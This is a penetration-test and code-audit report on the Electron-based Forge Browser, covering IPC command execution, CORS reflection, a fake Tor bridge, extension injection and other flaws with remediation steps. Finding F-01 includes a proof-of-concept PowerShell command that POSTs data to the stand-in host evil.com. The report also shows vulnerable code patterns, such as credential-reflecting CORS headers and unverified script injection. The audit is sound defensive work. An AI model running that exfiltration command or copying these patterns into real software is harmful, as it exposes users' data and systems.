**Forge Browser**

Privacy-First Electron Browser

SECURITY REPORT

# Cybersecurity Audit Report

A comprehensive penetration testing and static code analysis of the Forge Browser's Electron main process, IPC surface, extension system, network stack, session management, and privacy infrastructure.

Static Code Analysis | IPC Surface Audit | Network Security | Session Isolation | Extension Security | Privacy Verification

| REPORT DATE | PLATFORM | FINDINGS |
| --- | --- | --- |
| 2026-09-29 | Electron 44.1.1 / Chromium 134 | 15 Total (4 Critical) |

| 4 | 4 | 4 | 2 | 1 |
|---|---|---|---|---|
| CRITICAL | HIGH | MEDIUM | LOW | INFO |

# Findings Overview

| ID | FINDING | SEVERITY | FILE |
|---|---|---|---|
| F-01 | Unguarded `terminal:exec` — Full OS RCE | CRITICAL | main.ts:852 |
| F-02 | Global CORS Bypass with Credential Reflection | CRITICAL | compatManager.ts:266 |
| F-03 | Tor Bridge is NOT Real Tor — False Anonymity | CRITICAL | TorRuntime.ts:67 |
| F-04 | Extension Content Script — Unsandboxed JS Execution | CRITICAL | extensionManager.ts |
| F-05 | Leak Test Returns Hardcoded 100/100 Score | HIGH | TorRuntime.ts:186 |
| F-06 | Unvalidated File Path in Download Open IPC | HIGH | preload.ts:72 |
| F-07 | Adblock Scriptlets Execute Arbitrary JS in Webviews | HIGH | adblockAdapter.ts:340 |
| F-08 | VPN Kill Switch Bypassed via localhost & file:// | HIGH | vpnAdapter.ts:29 |
| F-09 | Proxy Credentials Stored in Plaintext RAM | MEDIUM | secureNetworkAdapter.ts:14 |
| F-10 | Full CSP Strip on Chrome Web Store Pages | MEDIUM | compatManager.ts:241 |
| F-11 | TrustedTypes Default Policy Approves All HTML/Script | MEDIUM | guestPreload.ts:12 |
| F-12 | `nodeIntegrationInSubFrames: true` on All Webviews | MEDIUM | main.ts:480 |
| F-13 | Private Session Allows Unlisted Permissions | LOW | privateSessionManager.ts:83 |
| F-14 | Session Backup Stores Unencrypted Arbitrary Data | LOW | preload.ts:316 |
| F-15 | No Size/Count Limit on Filter Rule Import | INFO | adblockAdapter.ts:152 |

# Detailed Findings

F-01 CRITICAL

## Unguarded `terminal:exec` — Full OS Remote Code Execution

`main.ts:852-912`

DESCRIPTION

The `terminal:exec` IPC handler accepts an **arbitrary command string** and executes it directly via `child_process.exec()` on the host OS using `powershell.exe` or `cmd.exe`. There is **zero validation, allowlist, or sender authentication** on the incoming command. Any XSS vulnerability in the Forge UI renderer or any logic error in React components that display user-controlled data can trigger a full OS command execution.

VULNERABLE CODE

```
// main.ts:898 — VULNERABLE — no validation whatsoever
exec(trimmed, {
  cwd: terminalCwd,
  shell,           // powershell.exe or cmd.exe
  maxBuffer: 15 * 1024 * 1024,
  env: { ...process.env },  // full environment with credentials
}, ...)
```

PROOF OF CONCEPT

```
// From Forge UI renderer via XSS:
window.forge.terminal.exec(
  "powershell -Command \"Invoke-WebRequest -Uri 'https://evil.com' -Method POST -Body (Get-Content $e
);
```

REMEDIATION

Authenticate the IPC sender — verify `BrowserWindow.fromWebContents(event.sender)` is a legitimate Forge window (not a webview). Add explicit user confirmation dialog via `dialog.showMessageBox` for any privileged command. Consider an allowlist for safe read-only commands.

F-02 CRITICAL

## Global CORS Bypass with Credential Reflection & X-Frame-Options Removal

`compatManager.ts:266-279`

### DESCRIPTION

When the developer CORS bypass is activated, it injects `access-control-allow-origin` by **echoing the requester's exact Origin** header and simultaneously sets `access-control-allow-credentials: true`. This is the most dangerous possible CORS configuration — it lets any attacker origin read authenticated responses (cookies, tokens) from any site. It also deletes `X-Frame-Options`, enabling clickjacking on every site. Additionally, this applies to **all sessions including Private and Tor**.

### VULNERABLE CODE

```
if (isCorsBypassActive) {
  responseHeaders["access-control-allow-origin"] = [reqOrigin]; // echoes attacker origin!
  responseHeaders["access-control-allow-credentials"] = ["true"]; // cookies too!
  delete responseHeaders["x-frame-options"]; // clickjacking enabled!
  responseHeaders["access-control-allow-private-network"] = ["true"]; // LAN exposed!
}
```

### REMEDIATION

Never echo the requester's Origin with credentials. Use wildcard `*` (which disables credential forwarding per spec). Scope the bypass to non-private, non-Tor sessions only. Never remove X-Frame-Options globally. Auto-disable on app close.

F-03 CRITICAL

## Tor Bridge is NOT Real Tor — Transparent TCP Passthrough, False Anonymity

`TorRuntime.ts:67-152`

### DESCRIPTION

When neither port 9050 nor 9150 has a real Tor daemon, `startEmbeddedTorBridge()` creates a **bare SOCKS5 TCP proxy that connects directly to the upstream host with zero onion routing**. The user's real IP address is fully visible to every destination server. The browser UI shows "Tor" mode, creating a dangerous false sense of anonymity.

### VULNERABLE CODE

```
// TorRuntime.ts:112 — This is NOT Tor. It's a direct TCP pipe.
const upstream = net.connect(targetPort, targetHost, () => {
  clientSocket.pipe(upstream);    // Direct connection — real IP exposed!
  upstream.pipe(clientSocket);    // No onion routing whatsoever!
});
```

### REMEDIATION

Display a blocking warning if no real Tor daemon is detected on 9050/9150: *"Tor Browser is not installed or running. Forge cannot provide Tor anonymity."* Block Tor session creation entirely when no real SOCKS5 Tor proxy is found. Consider bundling a Tor binary.

F-04 CRITICAL

## Extension Content Script Injection — Unsandboxed JS Execution in All Pages

`extensionManager.ts`

DESCRIPTION

The content script injection engine reads extension JS files from disk and injects them into webview pages via `executeJavaScript()` with full page context access. There is no signature verification of the extension files before injection. A compromised extension directory (supply-chain attack, CRX extraction exploit) can execute arbitrary JS on every page the user visits — capturing keystrokes, exfiltrating `document.cookie`, and reading `localStorage`.

```
// extensionManager.ts — raw file content injected without verification
const wrapped = `(function() { ${code} })();`; // ← unsandboxed, unverified
contents.executeJavaScript(wrapped).catch(() => {});
```

**REMEDIATION**

Hash-verify extension files against the manifest at injection time. Add a per-extension permission prompt before first content script injection. Restrict injected scripts from accessing `document.cookie` via the `httpOnly` flag enforcement and a sandboxed execution context.

F-05 HIGH

## Tor Leak Test Always Returns Hardcoded 100/100 — Deceptive UX

`TorRuntime.ts:186-192`

DESCRIPTION

The `runLeakTest()` method returns a perfect score without performing any actual network verification. A user running the test while Tor is not active will receive a false "100/100 Protected" result.

```
return {
  webRtcBlocked: true,        // ← Hardcoded, never tested
  dnsLeakProtected: true,     // ← Hardcoded, never tested
  overallScore: 100,           // ← Always perfect regardless of reality
};
```

**REMEDIATION**

Perform a real test by fetching `https://check.torproject.org/api/ip` through the active session proxy and comparing the returned IP against the user's real IP. Return score 0 if no Tor daemon is detected.

F-06 HIGH

## Unvalidated File Path in Download Open/ShowInFolder IPC

`preload.ts:72-73`

DESCRIPTION

The `downloads:open-file` and `downloads:show-in-folder` IPC channels accept raw file paths from the renderer without constraining them to the downloads directory. A path like `C:\Windows\System32\cmd.exe` could open a command prompt through `shell.openPath()`.

**REMEDIATION**

In the main process handler, resolve the path with `path.resolve()` and verify it starts with `app.getPath('downloads') + path.sep`. Additionally, cross-check against the `recentDownloads` registry to only open known downloaded files.

F-07 HIGH

## Adblock Scriptlets from Filter Lists Execute Unsandboxed in All Webviews

`adblockAdapter.ts:340-343`

DESCRIPTION

The adblock engine injects scriptlets obtained from external filter lists into every webview page. If a filter list is compromised via a supply-chain attack or MITM, arbitrary JavaScript executes in every user-visited page.

```
const scriptlet = engine.getScriptlet(url);
if (scriptlet) {
  await contents.executeJavaScript(scriptlet); // ← from external filter list content
}
```

**REMEDIATION**

Validate scriptlet names against an allowlist of known-safe scriptlet identifiers (e.g., `abort-on-property-read`, `set-constant`). Hash-pin filter list downloads. Only load scriptlets from HTTPS sources with certificate pinning.

F-08 HIGH

## VPN Kill Switch Bypassed via localhost, file:// and chrome-extension: Protocols

`vpnAdapter.ts:29-38`

DESCRIPTION

The kill switch exempts all `localhost`, `127.0.0.1`, `file:`, and `chrome-extension:` destinations. A locally-running attacker service or a malicious extension can receive exfiltrated page data even when the kill switch is engaged.

**REMEDIATION**

Restrict the localhost bypass to specific known-safe Forge-internal ports only (e.g., the Vite dev server port). Do not exempt `chrome-extension:` from the kill switch globally. Extension popups should route through the VPN like any other traffic.

F-09 MEDIUM

### Proxy Credentials Stored in Plaintext Module-Level Variable

`secureNetworkAdapter.ts:14`

Proxy username and password are stored as a plain JavaScript object in the main process memory with no encryption. Memory inspection attacks can recover these credentials in plaintext.

**REMEDIATION**

Use Electron's `safeStorage.encryptString()` for sensitive credentials. Clear the variable immediately after the `app.on('login')` proxy authentication callback fires rather than holding them indefinitely.

F-10 MEDIUM

### Complete CSP Removal on Chrome Web Store Pages Enables Silent Extension Install

`compatManager.ts:241-246`

All Content-Security-Policy headers are stripped from Chrome Web Store responses to allow the CWS polyfill. This leaves the CWS page vulnerable to XSS, which could trigger `__FORGE_EXT_INSTALL__` messages and silently install malicious extensions without user confirmation.

**REMEDIATION**

Instead of stripping all CSP, inject the polyfill via `ses.setPreloads()` at `document-start` (which bypasses CSP by design for preload scripts). This eliminates the need to remove the CSP header entirely.

F-11 MEDIUM

### TrustedTypes Default Policy Approves Any HTML and Script in All Webviews

`guestPreload.ts:12-16`

The guest preload creates a `default` TrustedTypes policy that passes all HTML, scripts, and script URLs through unchanged. This completely defeats XSS protection for every page that enforces `require-trusted-types-for 'script'`.

```
createHTML: (s) => s,     // ← any HTML approved — XSS vector
createScript: (s) => s,   // ← any script approved
createScriptURL: (s) => s // ← any URL approved
```

**REMEDIATION**

Use a scoped, non-default policy name (e.g., `"forge-internal"`) and only pass Forge's own known HTML strings through it. Sanitize with DOMPurify for any user-controlled content before passing to the policy.

F-12 MEDIUM

### `nodeIntegrationInSubFrames: true` Expanded Node Access in Cross-Origin Iframes

`main.ts:480`

Every webview globally receives `nodeIntegrationInSubFrames: true`. Combined with webview's access to the preload script, cross-origin `<iframe>` elements within webviews may gain access to Node.js APIs they should not have.

**REMEDIATION**

Remove `nodeIntegrationInSubFrames` from the global `will-attach-webview` handler. Only enable it for specific, trusted webviews that explicitly require it for DevTools or internal tooling.

F-13 LOW

### Private/Tor Session Permission Handler Uses Insecure Denylist Pattern

`privateSessionManager.ts:83`

The permission handler denies a specific list but `callback(true)` for everything else. Permissions like `clipboard-read`, `hid`, `serial`, `usb`, `display-capture`, and `idle-detection` are silently granted in Tor sessions.

**REMEDIATION**

Invert to an explicit allowlist pattern: `const ALLOWED = ["fullscreen"]; callback(ALLOWED.includes(permission));`

F-14 LOW

### Session Backup IPC Stores Unencrypted Arbitrary Data to Disk

`preload.ts:316-317`

`session:save-backup` accepts arbitrary `data: any` without encryption. If session data includes tab URLs, history, or authentication tokens, these are readable in plaintext from disk.

**REMEDIATION**

Encrypt all backup data using Electron's `safeStorage.encryptString()` before writing to disk. Decrypt on read with `safeStorage.decryptString()`.

# Security Strengths Confirmed

✓ **contextIsolation: true**
Enforced on BrowserWindow — renderer cannot access Node.js APIs directly

✓ **nodeIntegration: false**
Correctly disabled on all BrowserWindows

✓ **Certificate Error Rejection**
`callback(false)` in certificate-error — bad certs always rejected

✓ **Main Window Navigation Guard**
Prevents UI shell from navigating to external URLs via will-navigate handler

✓ **Popup Window Suppression**
All setWindowOpenHandler calls return `{ action: "deny" }` — no native popups

✓ **WebRTC Leak Prevention**
`disable_non_proxied_udp` policy applied to all Private/Tor sessions

✓ **Complete Session Data Wipe**
Private/Tor sessions fully clear cookies, localStorage, indexDB, cache, authCache on destroy

✓ **Download Filename Sanitization**
Illegal filesystem characters stripped; path traversal in filenames prevented

✓ **Ad Popup Network Filter**
40+ known ad/popunder domains blocked in setWindowOpenHandler before engine check

✓ **Single Instance Lock**
Prevents duplicate Electron instances from being spawned via OS-level lock

# Remediation Priority Matrix

## CRITICAL — Fix before any beta or public release

| | |
|---|---|
| F-01 | Add sender authentication to terminal:exec; require dialog confirmation for privileged commands |
| F-02 | Remove credential reflection from CORS bypass; never allow with wildcard origin; block on private/tor sessions |
| F-03 | Block Tor session creation when no real Tor daemon detected; show blocking warning to user |
| F-04 | Add extension file hash verification before injection; add per-extension permission prompt on first run |

## HIGH — Fix within 1–2 sprints

| | |
|---|---|
| F-05 | Implement real Tor leak test using check.torproject.org API; remove hardcoded 100 score |
| F-06 | Confine downloads:open-file to known recentDownloads paths within the downloads directory only |
| F-07 | Validate scriptlet names against allowlist before execution in webviews |
| F-08 | Restrict localhost kill switch bypass to known Forge-internal ports only |

## MEDIUM — Fix before 1.0 release

| | |
|---|---|
| F-09 | Use safeStorage.encryptString() for proxy credentials; clear after authentication fires |
| F-10 | Inject CWS polyfill via ses.setPreloads() instead of stripping all CSP response headers |
| F-11 | Use scoped TrustedTypes policy name instead of "default"; sanitize HTML inputs with DOMPurify |
| F-12 | Remove nodeIntegrationInSubFrames from global will-attach-webview handler |

## LOW / INFO — Include in backlog

| | |
|---|---|
| F-13 | Invert private/tor permission handler to explicit allowlist instead of denylist |
| F-14 | Encrypt session backup data with safeStorage before writing to disk |
| F-15 | Add maximum rule count and file size limits to adblock:import-rules handler |